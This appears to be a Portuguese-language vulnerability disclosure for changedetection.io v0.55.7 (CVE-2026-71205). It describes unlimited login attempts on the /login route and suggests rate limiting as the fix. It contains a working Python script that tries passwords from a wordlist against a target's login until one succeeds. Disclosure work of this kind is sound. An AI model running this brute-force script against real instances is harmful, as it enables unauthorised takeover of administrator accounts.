
PoC: brute-force de login ilimitado no changedetection.io, sem rate limiting (CVE-2026-71205, Média 6.5)
Produto: dgtlmoon/changedetection.io — v0.55.7
Arquivo: changedetectionio/flask_app.py
CWE: CWE-307 — Improper Restriction of Excessive Authentication Attempts
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N — 6.5 (Médio)
CNA: Turan Security · registro CVE
A rota /login do changedetection.io verifica a senha enviada contra um único hash
PBKDF2-HMAC-SHA256, sem rate limiting por IP ou por sessão, sem contador de tentativas
falhas ou bloqueio. Nenhuma biblioteca de rate limiting está presente em requirements.txt.
Um atacante pode fazer um número ilimitado de tentativas de senha no login de administrador único, sem nenhuma limitação de taxa, permitindo ataques de força bruta online ou credential stuffing contra a única conta da instância, sem custo além dos round-trips de rede.
import requests
import itertools
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
wordlist = sys.argv[2] if len(sys.argv) > 2 else "passwords.txt"
session = requests.Session()
with open(wordlist) as f:
for line_no, password in enumerate(f, 1):
password = password.strip()
resp = session.post(
f"{target}/login",
data={"password": password},
allow_redirects=False,
timeout=10,
)
# No lockout, no rate-limit headers, no CAPTCHA at any attempt count.
status = "SUCCESS" if resp.status_code in (302, 303) else "fail"
print(f"[{line_no}] {password!r}: {status} (HTTP {resp.status_code})")
if status == "SUCCESS":
print(f"[+] Valid password found: {password}")
break
Execute contra uma instância com qualquer wordlist de senhas — nenhuma quantidade de tentativas aciona bloqueio, CAPTCHA ou atraso crescente em nenhum ponto da execução.
O handler de login realiza uma comparação direta de hash, sem estado de rastreamento de tentativas (por IP, por sessão ou global), e nenhum middleware/biblioteca de rate limiting está instalado.
Adicione uma biblioteca de rate limiting (ex.: Flask-Limiter) a /login, com um contador
de tentativas falhas e backoff exponencial ou bloqueio temporário por IP/sessão de origem.